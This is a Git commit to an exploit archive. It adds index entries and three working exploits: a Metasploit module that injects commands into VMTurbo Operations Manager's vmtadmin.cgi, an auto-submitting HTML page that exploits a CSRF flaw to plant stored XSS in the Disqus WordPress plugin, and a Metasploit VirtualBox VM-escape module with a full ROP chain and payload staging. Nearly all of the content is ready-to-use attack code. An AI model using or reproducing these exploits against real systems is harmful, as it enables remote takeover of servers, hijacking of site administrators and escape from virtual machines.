Updated 08_16_2014

This commit is contained in:
Offensive Security 2014-08-16 04:39:47 +00:00
parent bb0719cd0a
commit d0601bf7bc
4 changed files with 628 additions and 0 deletions

View file

@ -30921,3 +30921,6 @@ id,file,description,date,author,platform,type,port
34324,platforms/php/webapps/34324.txt,"FestOS 2.3 'contents' Parameter Cross Site Scripting Vulnerability",2010-07-15,"High-Tech Bridge SA",php,webapps,0
34331,platforms/windows/local/34331.py,"BlazeDVD Pro 7.0 - (.plf) Stack Based Buffer Overflow (Direct RET)",2014-08-12,"Giovanni Bartolomucci",windows,local,0
34333,platforms/windows/local/34333.rb,"VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation",2014-08-13,metasploit,windows,local,0
34334,platforms/win64/remote/34334.rb,"VirtualBox 3D Acceleration Virtual Machine Escape",2014-08-14,metasploit,win64,remote,0
34335,platforms/linux/remote/34335.rb,"VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution",2014-08-14,metasploit,linux,remote,80
34336,platforms/php/webapps/34336.html,"Disqus for Wordpress 2.7.5 Admin Stored CSRF and XSS",2014-08-14,"Nik Cubrilovic",php,webapps,80

Can't render this file because it is too large.

152
platforms/linux/remote/34335.rb Executable file
View file

@ -0,0 +1,152 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'VMTurbo Operations Manager 4.6 vmtadmin.cgi Remote Command Execution',
'Description' => %q{
VMTurbo Operations Manager 4.6 and prior are vulnerable to unauthenticated
OS Command injection in the web interface. Use reverse payloads for the most
reliable results. Since it is a blind OS command injection vulnerability,
there is no output for the executed command when using the cmd generic payload.
Port binding payloads are disregarded due to the restrictive firewall settings.
This module has been tested successfully on VMTurbo Operations Manager versions 4.5 and
4.6.
},
'Author' =>
[
# Secunia Research - Discovery and Metasploit module
'Emilio Pinna <emilio.pinn[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-5073'],
['OSVDB', '109572'],
['URL', 'http://secunia.com/secunia_research/2014-8/']
],
'DisclosureDate' => 'Jun 25 2014',
'Privileged' => false,
'Platform' => %w{ linux unix },
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => '-bind'
}
},
'Targets' =>
[
[ 'Unix CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'VMTurbo Operations Manager',
{
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-bin/vmtadmin.cgi",
'vars_get' => {
"callType" => "ACTION",
"actionType" => "VERSIONS"
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("#{peer} - Failed to connect to the web server")
return Exploit::CheckCode::Unknown
end
if res and res.code == 200 and res.body =~ /vmtbuild:([\d]+),vmtrelease:([\d.]+),vmtbits:[\d]+,osbits:[\d]+/
version = $2
build = $1
vprint_status("#{peer} - VMTurbo Operations Manager version #{version} build #{build} detected")
else
vprint_status("#{peer} - Unexpected vmtadmin.cgi response")
return Exploit::CheckCode::Unknown
end
if version and version <= "4.6" and build < "28657"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def execute_command(cmd, opts)
begin
res = send_request_cgi({
'uri' => '/cgi-bin/vmtadmin.cgi',
'method' => 'GET',
'vars_get' => {
"callType" => "DOWN",
"actionType" => "CFGBACKUP",
"fileDate" => "\"`#{cmd}`\""
}
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
vprint_error("#{peer} - Failed to connect to the web server")
return nil
end
vprint_status("Sent command #{cmd}")
end
#
# generate_payload_exe doesn't respect module's platform unless it's Windows, or the user
# manually sets one. This method is a temp work-around.
#
def check_generate_payload_exe
if generate_payload_exe.nil?
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF. Please manually set a payload.")
end
end
def exploit
# Handle single command shot
if target.name =~ /CMD/
cmd = payload.encoded
res = execute_command(cmd, {})
unless res
fail_with(Failure::Unknown, "#{peer} - Unable to execute payload")
end
print_status("#{peer} - Blind Exploitation - unknown exploitation state")
return
end
check_generate_payload_exe
# Handle payload upload using CmdStager mixin
execute_cmdstager({:flavor => :printf})
end
end

View file

@ -0,0 +1,30 @@
<!--
Exploit for Disqus for Wordpress admin stored CSRF+XSS up to v2.7.5
Blog post explainer: https://www.nikcub.com/posts/multiple-vulnerabilities-in-disqus-wordpress-plugin/
12th August 2014
Nik Cubrilovic - www.nikcub.com
Most of these params are unfiltered/injectable. Not framable on newer Wordpress.
-->
<body onload="javascript:document.forms[0].submit()">
<form action="http://wordpress.dev/wp-admin/edit-comments.php?page=disqus" method="post" class="dashboard-widget-control-form">
<h1>disqus csrf reset</h1>
<!-- Idea for you: Iframe it -->
<input name="disqus_forum_url" type="hidden" value="wordpress342222222" />
<input name="disqus_replace" type="hidden" value="all" />
<!-- <input name="disqus_partner_key" type="hidden" value="1" /> -->
<input name="disqus_cc_fix" type="hidden" value="1" />
<input name="disqus_partner_key" type="hidden" value="1" />
<input name="disqus_secret_key" type="hidden" value="1" />
<!-- Your File: <input name="disqus_sso_button" type="file" /><br /> -->
<input type="submit" value="save" />
<input name="disqus_public_key" type="hidden" value='&lt;/textarea&gt;<script>alert(1);</script><textarea>' />
</form>

443
platforms/win64/remote/34334.rb Executable file
View file

@ -0,0 +1,443 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
DEVICE = '\\\\.\\VBoxGuest'
INVALID_HANDLE_VALUE = 0xFFFFFFFF
# VBOX HGCM protocol constants
VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248
VBOXGUEST_IOCTL_HGCM_DISCONNECT = 2269252
VBOXGUEST_IOCTL_HGCM_CALL = 2269256
CONNECT_MSG_SIZE = 140
DISCONNECT_MSG_SIZE = 8
SET_VERSION_MSG_SIZE = 40
SET_PID_MSG_SIZE = 28
CALL_EA_MSG_SIZE = 40
VERR_WRONG_ORDER = 0xffffffea
SHCRGL_GUEST_FN_SET_PID = 12
SHCRGL_CPARMS_SET_PID = 1
SHCRGL_GUEST_FN_SET_VERSION = 6
SHCRGL_CPARMS_SET_VERSION = 2
SHCRGL_GUEST_FN_INJECT = 9
SHCRGL_CPARMS_INJECT = 2
CR_PROTOCOL_VERSION_MAJOR = 9
CR_PROTOCOL_VERSION_MINOR = 1
VMM_DEV_HGCM_PARM_TYPE_32_BIT = 1
VMM_DEV_HGCM_PARM_TYPE_64_BIT = 2
VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR = 5
def initialize(info={})
super(update_info(info, {
'Name' => 'VirtualBox 3D Acceleration Virtual Machine Escape',
'Description' => %q{
This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The
vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a
sequence of specially crafted of rendering messages, a virtual machine can exploit an out
of bounds array access to corrupt memory and escape to the host. This module has been
tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Francisco Falcon', # Vulnerability Discovery and PoC
'Florian Ledoux', # Win 8 64 bits exploitation analysis
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86_64,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Targets' =>
[
[ 'VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)',
{
:messages => :target_virtualbox_436_win7_64
}
]
],
'Payload' =>
{
'Space' => 7000,
'DisableNops' => true
},
'References' =>
[
['CVE', '2014-0983'],
['BID', '66133'],
['URL', 'http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities'],
['URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration'],
['URL', 'http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php']
],
'DisclosureDate' => 'Mar 11 2014',
'DefaultTarget' => 0
}))
end
def open_device
r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
handle = r['return']
if handle == INVALID_HANDLE_VALUE
return nil
end
return handle
end
def send_ioctl(ioctl, msg)
result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")
if result["GetLastError"] != 0
unless result["ErrorMessage"].blank?
vprint_error("#{result["ErrorMessage"]}")
end
return nil
end
unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
unless result["ErrorMessage"].blank?
vprint_error("#{result["ErrorMessage"]}")
end
return nil
end
unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
unless result["ErrorMessage"].blank?
vprint_error("#{result["ErrorMessage"]}")
end
return nil
end
result
end
def connect
msg = "\x00" * CONNECT_MSG_SIZE
msg[4, 4] = [2].pack("V")
msg[8, "VBoxSharedCrOpenGL".length] = "VBoxSharedCrOpenGL"
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CONNECT, msg)
if result.nil?
return result
end
client_id = result["lpOutBuffer"][136, 4].unpack("V").first
client_id
end
def disconnect
msg = "\x00" * DISCONNECT_MSG_SIZE
msg[4, 4] = [@client_id].pack("V")
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_DISCONNECT, msg)
result
end
def set_pid(pid)
msg = "\x00" * SET_PID_MSG_SIZE
msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
msg[4, 4] = [@client_id].pack("V") # u32ClientID
msg[8, 4] = [SHCRGL_GUEST_FN_SET_PID].pack("V")
msg[12, 4] = [SHCRGL_CPARMS_SET_PID].pack("V")
msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_64_BIT].pack("V")
msg[20, 4] = [pid].pack("V")
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
result
end
def set_version
msg = "\x00" * SET_VERSION_MSG_SIZE
msg[0, 4] = [VERR_WRONG_ORDER].pack("V")
msg[4, 4] = [@client_id].pack("V") # u32ClientID
msg[8, 4] = [SHCRGL_GUEST_FN_SET_VERSION].pack("V")
msg[12, 4] = [SHCRGL_CPARMS_SET_VERSION].pack("V")
msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
msg[20, 4] = [CR_PROTOCOL_VERSION_MAJOR].pack("V")
msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
msg[32, 4] = [CR_PROTOCOL_VERSION_MINOR].pack("V")
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
result
end
def trigger(buff_addr, buff_length)
msg = "\x00" * CALL_EA_MSG_SIZE
msg[4, 4] = [@client_id].pack("V") # u32ClientID
msg[8, 4] = [SHCRGL_GUEST_FN_INJECT].pack("V")
msg[12, 4] = [SHCRGL_CPARMS_INJECT].pack("V")
msg[16, 4] = [VMM_DEV_HGCM_PARM_TYPE_32_BIT].pack("V")
msg[20, 4] = [@client_id].pack("V") # u32ClientID
msg[28, 4] = [VMM_DEV_HGCM_PARM_TYPE_LIN_ADDR].pack("V")
msg[32, 4] = [buff_length].pack("V") # size_of(buf)
msg[36, 4] = [buff_addr].pack("V") # (buf)
result = send_ioctl(VBOXGUEST_IOCTL_HGCM_CALL, msg)
result
end
def stack_adjustment
pivot = "\x65\x8b\x04\x25\x10\x00\x00\x00" # "mov eax,dword ptr gs:[10h]" # Get Stack Bottom from TEB
pivot << "\x89\xc4" # mov esp, eax # Store stack bottom in esp
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # Plus a little offset...
pivot
end
def target_virtualbox_436_win7_64(message_id)
opcodes = [0xFF, 0xea, 0x02, 0xf7]
opcodes_hdr = [
0x77474c01, # type CR_MESSAGE_OPCODES
0x8899, # conn_id
opcodes.length # numOpcodes
]
if message_id == 2
# Message used to achieve Code execution
# See at the end of the module for a better description of the ROP Chain,
# or even better, read: http://www.vupen.com/blog/20140725.Advanced_Exploitation_VirtualBox_VM_Escape.php
# All gadgets from VBoxREM.dll
opcodes_data = [0x8, 0x30, 0x331].pack("V*")
opcodes_data << [0x6a68599a].pack("Q<") # Gadget 2 # pop rdx # xor ecx,dword ptr [rax] # add cl,cl # movzx eax,al # ret
opcodes_data << [112].pack("Q<") # RDX
opcodes_data << [0x6a70a560].pack("Q<") # Gadget 3 # lea rax,[rsp+8] # ret
opcodes_data << [0x6a692b1c].pack("Q<") # Gadget 4 # lea rax,[rdx+rax] # ret
opcodes_data << [0x6a6931d6].pack("Q<") # Gadget 5 # add dword ptr [rax],eax # add cl,cl # ret
opcodes_data << [0x6a68124e].pack("Q<") # Gadget 6 # pop r12 # ret
opcodes_data << [0x6A70E822].pack("Q<") # R12 := ptr to .data in VBoxREM.dll (4th argument lpflOldProtect)
opcodes_data << [0x6a70927d].pack("Q<") # Gadget 8 # mov r9,r12 # mov r8d,dword ptr [rsp+8Ch] # mov rdx,qword ptr [rsp+68h] # mov rdx,qword ptr [rsp+68h] # call rbp
opcodes_data << Rex::Text.pattern_create(80)
opcodes_data << [0].pack("Q<") # 1st arg (lpAddress) # chain will store stack address here
opcodes_data << Rex::Text.pattern_create(104 - 80 - 8)
opcodes_data << [0x2000].pack("Q<") # 2nd arg (dwSize)
opcodes_data << Rex::Text.pattern_create(140 - 104 - 8)
opcodes_data << [0x40].pack("V") # 3rd arg (flNewProtect)
opcodes_data << Rex::Text.pattern_create(252 - 4 - 140 - 64)
opcodes_data << [0x6A70BB20].pack("V") # ptr to jmp VirtualProtect instr.
opcodes_data << "A" * 8
opcodes_data << [0x6a70a560].pack("Q<") # Gadget 9
opcodes_data << [0x6a6c9d3d].pack("Q<") # Gadget 10
opcodes_data << "\xe9\x5b\x02\x00\x00" # jmp $+608
opcodes_data << "A" * (624 - 24 - 5)
opcodes_data << [0x6a682a2a].pack("Q<") # Gadget 1 # xchg eax, esp # ret # stack pivot
opcodes_data << stack_adjustment
opcodes_data << payload.encoded
opcodes_data << Rex::Text.pattern_create(8196 - opcodes_data.length)
else
# Message used to corrupt head_spu
# 0x2a9 => offset to head_spu in VBoxSharedCrOpenGL.dll .data
# 8196 => On my tests, this data size allows to keep the memory
# not reused until the second packet arrives. The second packet,
# of course, must have 8196 bytes length too. So this memory is
# reused and code execution can be accomplished.
opcodes_data = [0x8, 0x30, 0x331, 0x2a9].pack("V*")
opcodes_data << "B" * (8196 - opcodes_data.length)
end
msg = opcodes_hdr.pack("V*") + opcodes.pack("C*") + opcodes_data
msg
end
def send_opcodes_msg(process, message_id)
msg = self.send(target[:messages], message_id)
mem = process.memory.allocate(msg.length + (msg.length % 1024))
process.memory.write(mem, msg)
trigger(mem, msg.length)
end
def check
handle = open_device
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
Exploit::CheckCode::Detected
end
def exploit
unless self.respond_to?(target[:messages])
print_error("Invalid target specified: no messages callback function defined")
return
end
print_status("Opening device...")
@handle = open_device
if @handle.nil?
fail_with(Failure::NoTarget, "#{DEVICE} device not found")
else
print_good("#{DEVICE} found, exploiting...")
end
print_status("Connecting to the service...")
@client_id = connect
if @client_id.nil?
fail_with(Failure::Unknown, "Connect operation failed")
end
print_good("Client ID #{@client_id}")
print_status("Calling SET_VERSION...")
result = set_version
if result.nil?
fail_with(Failure::Unknown, "Failed to SET_VERSION")
end
this_pid = session.sys.process.getpid
print_status("Calling SET_PID...")
result = set_pid(this_pid)
if result.nil?
fail_with(Failure::Unknown, "Failed to SET_PID")
end
this_proc = session.sys.process.open
print_status("Sending First 0xEA Opcode Message to control head_spu...")
result = send_opcodes_msg(this_proc, 1)
if result.nil?
fail_with(Failure::Unknown, "Failed to control heap_spu...")
end
print_status("Sending Second 0xEA Opcode Message to execute payload...")
@old_timeout = session.response_timeout
session.response_timeout = 5
begin
send_opcodes_msg(this_proc, 2)
rescue Rex::TimeoutError
vprint_status("Expected timeout in case of successful exploitation")
end
end
def cleanup
unless @old_timeout.nil?
session.response_timeout = @old_timeout
end
if session_created?
# Unless we add CoE there is nothing to do
return
end
unless @client_id.nil?
print_status("Disconnecting from the service...")
disconnect
end
unless @handle.nil?
print_status("Closing the device...")
session.railgun.kernel32.CloseHandle(@handle)
end
end
end
=begin
* VirtualBox 4.3.6 / Windows 7 SP1 64 bits
Crash after second message:
0:013> dd rax
00000000`0e99bd44 41306141 61413161 33614132 41346141
00000000`0e99bd54 61413561 37614136 41386141 62413961
00000000`0e99bd64 31624130 41326241 62413362 35624134
00000000`0e99bd74 41366241 62413762 39624138 41306341
00000000`0e99bd84 63413163 33634132 41346341 63413563
00000000`0e99bd94 37634136 41386341 64413963 31644130
00000000`0e99bda4 41326441 64413364 35644134 41366441
00000000`0e99bdb4 64413764 39644138 41306541 65413165
0:013> r
rax=000000000e99bd44 rbx=0000000000000001 rcx=000007fef131e8ba
rdx=000000006a72fb62 rsi=000000000e5531f0 rdi=0000000000000000
rip=000007fef12797f8 rsp=0000000004b5f620 rbp=0000000041424344 << already controlled...
r8=0000000000000001 r9=00000000000005c0 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=00000000ffffffff
r14=000007fef1f90000 r15=0000000002f6e280
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
VBoxSharedCrOpenGL!crServerAddNewClient+0x208:
000007fe`f12797f8 ff9070030000 call qword ptr [rax+370h] ds:00000000`0e99c0b4=7641397541387541
Gadget 1: Stack Pivot # 0x6a682a2a
xchg eax,esp 94
ret c3
Gadget 2: Control RDX value # 0x6a68599a
pop rdx 5a
xor ecx,dword ptr [rax] 33 08
add cl,cl 00 c9
movzx eax,al 0f b6 c0
ret c3
Gadget 3: Store ptr to RSP in RAX # 0x6a70a560
lea rax,[rsp+8] 48 8d 44 24 08
ret c3
Gadget 4: Store ptr to RSP + RDX offset (controlled) in RAX # 0x6a692b1c
lea rax,[rdx+rax] 48 8d 04 02
ret c3
Gadget 5: Write Stack Address (EAX) to the stack # 0x6a6931d6
add dword ptr [rax],eax 01 00
add cl,cl 00 c9
ret c3
Gadget 6: Control R12 # 0x6a68124e
pop r12
ret
Gadget 7: Recover VirtualProtect arguments from the stack and call it (ebp) # 0x6a70927d
mov r9,r12 4d 89 e1
mov r8d,dword ptr [rsp+8Ch] 44 8b 84 24 8c 00 00 00
mov rdx,qword ptr [rsp+68h] 48 8b 54 24 68
mov rcx,qword ptr [rsp+50h] 48 8b 4c 24 50
call rbp ff d5
Gadget 8: After VirtualProtect, get pointer to the shellcode in the # 0x6a70a560
lea rax, [rsp+8] 48 8d 44 24 08
ret c3
Gadget 9: Push the pointer and provide control to shellcode # 0x6a6c9d3d
push rax 50
adc cl,ch 10 e9
ret c3
=end